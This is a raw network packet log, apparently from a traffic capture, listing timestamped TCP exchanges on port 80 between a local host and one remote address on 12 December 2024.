                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.548650026 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.548691988 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.550103903 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.550158978 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.550293922 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.550407887 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.551527977 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.551614046 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.551626921 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.551651955 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.552973986 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.553020954 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.553142071 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.553248882 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.554502964 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.554559946 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.554600000 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.554773092 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.555985928 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.556035995 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.556063890 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.556101084 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.557466030 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.557485104 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.557529926 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.558901072 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.558948994 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.559017897 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.559065104 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.560467005 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.560538054 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.560616970 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.561161041 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.561885118 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.562053919 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.562091112 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.562134981 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.563409090 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.563488007 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.563503981 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.563524961 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.564887047 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.564910889 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.564940929 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.564960957 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.566379070 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.566498041 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.566500902 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.566634893 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.567843914 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.567895889 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.568006992 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.568046093 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.569281101 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.569941044 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.617290020 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.618010998 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.737306118 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.737847090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.737891912 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.737930059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.738234997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.857953072 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319658041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319680929 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319693089 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319710970 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319726944 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319797039 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319828033 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319840908 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319853067 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319865942 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319871902 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319914103 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319961071 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319989920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.320002079 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.320075989 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.320075989 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.439635038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.439709902 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.439716101 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.439758062 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.511555910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.511617899 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.511636019 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.511666059 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.515769005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.515857935 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.515882015 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.516247988 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.522295952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.522398949 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.522440910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.522440910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.530667067 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.530725002 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.530816078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.530816078 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.539056063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.539335012 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.539336920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.541940928 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.547465086 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.547574997 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.547652960 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.555913925 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.556122065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.556183100 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.556389093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.564276934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.564311028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.564388037 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.564388037 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.572679996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.572752953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.572771072 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.572805882 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.581065893 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.581144094 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.582087994 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.582087994 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.588797092 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.588895082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.589054108 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.589139938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.703531981 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.703546047 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.703736067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.703736067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.706046104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.706060886 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.706196070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.706196070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.710602999 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.710649967 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.710753918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.710827112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.715599060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.715697050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.715744019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.716104031 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.720530033 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.720690966 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.720798969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.725434065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.725533009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.725764036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.727762938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.730248928 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.730257034 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.730540991 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.734292030 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.734802961 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.734882116 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.739723921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.739738941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.740454912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.743746042 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.743890047 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.744277000 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.748534918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.748650074 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.748856068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.753887892 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.753895044 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.753969908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.758632898 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.758641005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.758722067 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.763276100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.763593912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.763732910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.763732910 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.768094063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.768100977 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.768192053 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.772984028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.772993088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.773052931 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.776973009 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.777000904 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.777049065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.777092934 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.781748056 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.781793118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.781882048 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.786506891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.786565065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.786644936 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.786644936 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.791268110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.791562080 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.895705938 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.895756960 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.895793915 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.895886898 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.897615910 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.897716045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.897806883 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.897806883 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.901648045 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.901756048 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.901793957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.901793957 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.905539036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.905616045 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.905652046 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.905751944 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.909562111 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.909683943 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.909743071 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.909743071 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.913402081 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.913458109 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.913495064 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.913495064 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.917144060 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.917190075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.917253971 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.917253971 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.920792103 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.920900106 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.920917034 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.920994997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.924916983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.925035000 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.925051928 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.925087929 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.928121090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.928200960 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.928214073 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.928247929 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.931714058 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.931741953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.931863070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.935354948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.935432911 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.935465097 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.935477972 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.939040899 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.939210892 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.939284086 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.942711115 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.942785978 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.942794085 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.942843914 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.946321964 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.946408987 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.946474075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.949871063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.949939013 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.950275898 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.950277090 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.953764915 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.953811884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.953829050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.953850031 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.957154036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.957161903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.959342003 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.960845947 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.960978985 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.962496042 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.964436054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.964524031 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.964667082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.968090057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.968133926 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.968303919 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.971678019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.971820116 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.971888065 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.975290060 CET804988280.82.65.70192.168.2.11
